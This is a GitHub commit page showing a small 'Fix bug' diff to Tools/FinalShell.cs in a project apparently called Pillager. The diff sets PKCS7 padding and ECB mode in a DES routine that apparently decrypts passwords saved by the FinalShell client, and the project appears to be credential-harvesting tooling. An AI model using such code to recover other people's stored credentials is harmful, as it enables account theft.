Skip to content

Commit

Permalink
Fix bug
Browse files Browse the repository at this point in the history
  • Loading branch information
qwqdanchun committed Dec 8, 2023
1 parent dbb4cb8 commit 05f1270
Showing 1 changed file with 3 additions and 1 deletion.
4 changes: 3 additions & 1 deletion Pillager/Tools/FinalShell.cs
Original file line number Diff line number Diff line change
Expand Up @@ -67,7 +67,9 @@ public static byte[] desDecode(byte[] data, byte[] head)
Array.Copy(head, key, 8);
DESCryptoServiceProvider des = new DESCryptoServiceProvider();
des.Key = key;
des.IV = TripleDesIV;
des.IV = TripleDesIV;
des.Padding = PaddingMode.PKCS7;
des.Mode = CipherMode.ECB;
MemoryStream ms = new MemoryStream();
CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write);
cs.Write(data, 0, data.Length);
Expand Down

0 comments on commit 05f1270

Please sign in to comment.